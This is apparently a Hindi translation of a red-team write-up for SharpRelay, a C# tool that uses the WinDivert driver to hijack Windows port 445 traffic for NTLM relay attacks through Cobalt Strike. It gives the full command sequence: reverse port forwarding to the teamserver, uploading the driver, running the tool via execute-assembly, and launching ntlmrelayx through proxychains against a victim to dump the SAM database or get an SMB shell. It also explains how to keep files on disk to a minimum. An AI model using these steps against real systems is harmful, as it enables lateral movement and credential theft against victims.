
C# उपकरण जो WinDivert ड्राइवर का उपयोग करके Windows पोर्ट 445 ट्रैफ़िक को इंटरसेप्ट और रीडायरेक्ट करता है, NTLM रिले हमलों के लिए Cobalt Strike के माध्यम से, रेड टीम ऑपरेशनों में लेटरल मूवमेंट और क्रेडेंशियल हार्वेस्टिंग को सक्षम करता है।
इस हमले के काम करने की एकमात्र आवश्यकता है एक बीकन जिसके पास स्थानीय व्यवस्थापक विशेषाधिकार हों या ड्राइवर लोड करने की क्षमता हो। SharpRelay का उपयोग करके हमला इस प्रकार काम करता है:
rportfwd कमांड चलाएं ताकि समझौता किए गए होस्ट के पोर्ट 8445 को हमारे टीमसर्वर के पोर्ट 445 पर अग्रेषित किया जा सकेइन क्रियाओं को करने के लिए Cobalt Strike से निम्नलिखित उदाहरण कमांड चलाए जा सकते हैं:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
जब उपरोक्त सभी सफलतापूर्वक निष्पादित हो जाएं, तो आपको अपना रिले सर्वर शुरू करना होगा (proxychains को उपरोक्त कमांड में निर्दिष्ट पोर्ट, जैसे 4444, पर कॉन्फ़िगर करें):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
उपरोक्त कमांड पीड़ित होस्ट से SAM डेटाबेस डंप करेगा। एक इंटरैक्टिव SMB शेल प्राप्त करना और पीड़ित पर दूरस्थ रूप से कमांड निष्पादित करना भी संभव है।
SharpRelay का परीक्षण Win10 x64 पर किया गया है।
यदि आप टूल को स्रोत से बनाना चाहते हैं, तो आप निम्नलिखित कर सकते हैं:
उपरोक्त निर्देशों का परीक्षण Visual Studio 2019 का उपयोग करके किया गया है।
SharpRelay WinDivert ड्राइवर पर आधारित है। इसके विवरण के अनुसार, WinDivert एक कर्नेल ड्राइवर है जो उपयोगकर्ता-मोड पैकेट अवरोधन और संशोधन की अनुमति देता है। उपयोगकर्ता को एक फ़िल्टर निर्दिष्ट करना होता है और इस फ़िल्टर से मेल खाने वाले किसी भी पैकेट को अवरोधित किया जाएगा और संशोधित किया जा सकता है।
ReadMe फ़ाइल से:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
हमारे लिए, सबसे महत्वपूर्ण बात जो WinDivert हमें करने की अनुमति देता है, वह यह है कि हम एक खुले Windows पोर्ट पर जाने वाले ट्रैफ़िक को रोक सकते हैं और प्रत्येक पैकेट के TCP स्रोत और गंतव्य पोर्ट को संशोधित करके, TCP चेकसम की पुनर्गणना करके और पैकेट को नेटवर्क स्टैक में पुनः इंजेक्ट करके इसे दूसरे पोर्ट पर रीडायरेक्ट कर सकते हैं।
Windows पर, पोर्ट 445 हमेशा डिफ़ॉल्ट रूप से चल रहा होता है। मैं पोर्ट 445 का उपयोग करने की प्रक्रिया के बारे में विस्तार से नहीं बताऊंगा क्योंकि इसका विश्लेषण पहले से ही निम्नलिखित पोस्ट में किया गया है, कृपया आगे बढ़ें और इसे पढ़ें:
उपरोक्त पोस्ट में एक और दिलचस्प विचार भी है। Metasploit के माध्यम से SMB रिले हमला करने के लिए WinDivert का उपयोग करना। आप divertTCPconn.exe के साथ कुछ DLL और एक ड्राइवर फ़ाइल को लक्ष्य होस्ट पर अपलोड कर सकते हैं और उन्हें निष्पादित कर सकते हैं। मुझे यह हमला शानदार लगा, लेकिन मुझे जो पसंद नहीं आया वह यह था कि आपको लक्ष्य होस्ट पर कई DLL अपलोड करने पड़ते थे।
इसलिए मेरा लक्ष्य डिस्क पर न्यूनतम फ़ाइलें डालकर और Cobalt Strike के माध्यम से हमला निष्पादित करके भी वही हमला करना था।
सबसे पहले, मैं Cobalt Strike के execute-assembly फ़ंक्शन का उपयोग करना चाहता था, इसलिए मैंने .NET फ्रेमवर्क का उपयोग करके अपना कोड लिखने का निर्णय लिया। मेरा प्रारंभिक विचार था कि divertTCPconn को C# में फिर से लिखूं और फिर सब कुछ काम करेगा। पता चला कि यह बहुत जटिल था। सौभाग्य से, मुझे TechnikEmpire द्वारा लिखित निम्नलिखित NuGet पैकेज मिला:
WinDivertSharp का उपयोग करके, मैं एक सेवा बनाकर ड्राइवर लोड करने और आवश्यक किसी भी पैकेट संशोधन को करने के लिए WinDivert ड्राइवर के साथ संचार करने के लिए SharpRelay लिखने में सक्षम था।